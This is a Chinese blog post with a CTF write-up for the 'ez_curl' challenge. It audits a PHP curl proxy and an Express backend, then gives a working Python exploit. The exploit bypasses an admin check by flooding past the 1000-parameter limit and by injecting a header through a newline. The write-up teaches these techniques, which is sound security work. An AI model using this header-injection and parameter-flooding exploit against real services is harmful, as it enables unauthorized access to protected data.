首页 > 其他分享 >ez_curl【代码审计】

ez_curl【代码审计】

时间:2023-11-23 21:15:03浏览次数:34  
标签:审计 ch admin headers json params ez curl

ez_curl【代码审计】[难度:4]

  • 题目描述

    代码审计类题目,附上代码:

    <?php
    highlight_file(__FILE__);
    $url = 'http://back-end:3000/flag?';
    **$input = file_get_contents('php://input');**
    **$headers = (array)json_decode($input)->headers;**
    for($i = 0; $i < count($headers); $i++){
        $offset = stripos($headers[$i], ':');
        $key = substr($headers[$i], 0, $offset);
        $value = substr($headers[$i], $offset + 1);
        if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
            die('try hard');
        }
    }
    $params = (array)json_decode($input)->params;
    $url .= http_build_query($params);
    **$url .= '&admin=false';**
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
    curl_setopt($ch, CURLOPT_NOBODY, FALSE);
    $result = curl_exec($ch);
    curl_close($ch);
    echo $result;
    try hard1
    

    第四行有file_get_contents(’php://input’),文件包含,当Content-Type为application/x-www-form-urlencoded且提交方法是POST方法时,$_POST数据与php://input数据是一致的。

    第五行json_decode将请求头解析为json格式,如

    {"headers": ["admin:true"]}

    // 附件,app.js
    const express = require('express');
    
    const app = express();
    
    const port = 3000;
    const flag = process.env.flag;
    
    app.get('/flag', (req, res) => {
        if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){
            res.send(flag);
        }else{
            res.send('try hard');
        }
    });
    
    app.listen({ port: port , host: '0.0.0.0'});
    

    当收到请求之后,app.js判断请求者是否为admin,判断的逻辑为:如果参数admin字段不包含false并且请求头中admin字段包含true,则判为admin。但是在php代码中可以看到,每次url都要拼接'&admin=false'。

  • 漏洞利用

    • express的parameterLimit默认为1000,添加1000多个参数把最后拼接的参数给挤掉
    • 根据RFC 7230(HTTP/1.1协议的定义)的规定,规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符使用换行分隔,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝,然而,Node.js 在处理这类情况时通常是宽容的。
  • 题解脚本

    最终参考的exp如下:

    import json
    import requests
    from abc import ABC
    
    url = "http://61.147.171.105:61319/"
    datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
             "params": {"admin": "true"}}
    //在每次循环中,
    //代码向 datas["params"] 字典中添加一个新的键值对,
    //键的格式是 "x" + str(i),值是 i
    for i in range(1020):
        datas["params"]["x" + str(i)] = i
    headers = {
        "Content-Type": "application/json"
    }
    json1 = json.dumps(datas)
    print(json1)
    resp = requests.post(url, headers=headers, data=json1)
    with open('ex_curl.txt', 'ab') as file:
        file.write(resp.content)
    

参考链接:https://www.cnblogs.com/hackerone/p/17536668.html

标签:审计,ch,admin,headers,json,params,ez,curl
From: https://www.cnblogs.com/yuanyy/p/17852490.html

相关文章

  • TIBCO.Rendezvous简单的发消息的过程
    C#代码实现发消息的过程.首先需要安装,添加引用,usingTIBCO.Rendezvous;然后其实就是简单4个步骤,即可把讯息发出去;开启环境->实例化NetTransport->生成需要发送的Message->transport.Send(msg);最后关闭环境;1//开启环境;2TIBCO.Rend......
  • Debezium之对于数据主键更新的处理
    简介Debezium在对主键进行更新的时候,采用先发送删除事件,然后发送创建事件,来保证数据的一致性。相关代码io.debezium.relational.RelationalChangeRecordEmitter#emitUpdateRecord......
  • C++ LibCurl实现Web指纹识别
    Web指纹识别是一种通过分析Web应用程序的特征和元数据,以确定应用程序所使用的技术栈和配置的技术。这项技术旨在识别Web服务器、Web应用框架、后端数据库、JavaScript库等组件的版本和配置信息。通过分析HTTP响应头、HTML源代码、JavaScript代码、CSS文件等,可以获取关于Web应用程......
  • C++ LibCurl实现Web隐藏目录扫描
    LibCurl是一个开源的免费的多协议数据传输开源库,该框架具备跨平台性,开源免费,并提供了包括HTTP、FTP、SMTP、POP3等协议的功能,使用libcurl可以方便地进行网络数据传输操作,如发送HTTP请求、下载文件、发送电子邮件等。它被广泛应用于各种网络应用开发中,特别是涉及到数据传输的场景。......
  • Linux:ping、curl、telnet作用异同
    学习自:Linu网络判断指令ping、curl、telnet的区别与应用场景_ping和curl的区别_饮风丶欤的博客-CSDN博客telnet和curl和ping的区别_curl和telnet的区别-CSDN博客1、curl在Linux中curl是一个利用URL规则在命令行中工作的文件传输工具,是一个http命令行工具,可以帮助我们在服务......
  • Laravel引入Breeze
    Laravel框架中引入breezeLaravelBreeze是Laravel的认证功能的一种简单、最小实现,包括登录、注册、密码重置、电子邮件验证和密码确认。此外,Breeze还包括一个简单的“个人资料”页面,用户可以在该页面上更新其姓名、电子邮件地址和密码。LaravelBreeze的默认视图层由......
  • C# 22H2之后的windows版本使用SetDynamicTimeZoneInformation设置时区失败处理
    使用SetDynamicTimeZoneInformation设置时区返回false,设置失败。使用PowerShell设置Set-TimeZone成功。///<summary>///设置本地时区///参数取值"ChinaStandardTime",即可设置为中国时区///</summary>///<paramname="timeZoneId"></param>///<retur......
  • 使用CURL获取速卖通详情的API接口
    作为一名程序员,我们经常需要与各种API接口打交道,以获取所需的数据并集成到我们的应用程序中。速卖通(AliExpress)是一个流行的跨境电商平台,提供了丰富的API接口供开发者使用。本文将介绍如何使用curl命令通过速卖通的API接口获取商品详情。在开始之前,确保你已经注册了速卖通开发者账......
  • php封装的curl请求方法
    get请求function curlGet($url, array $header = array(), $timeout = 5){    $ch = curl_init();//初始化    curl_setopt($ch, CURLOPT_URL, $url);//抓取指定网页    curl_setopt($ch, CURLOPT_HEADER, 0);//是否显示头信息,1显示,0不显示    ......
  • 【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF
    【MRCTF2020】Ezpop_Revenge——PHP原生类SSRF1.收获CMS初审计google、baiduhackPHP原生类反序列化2.看题2.1读源码网页存在源码泄露,访问www.zip,得到源码。同时要知道,typecho模板是存在反序列化注入漏洞的,但是其存在于install.php,本题中没有这个文件,所以找找其他线索......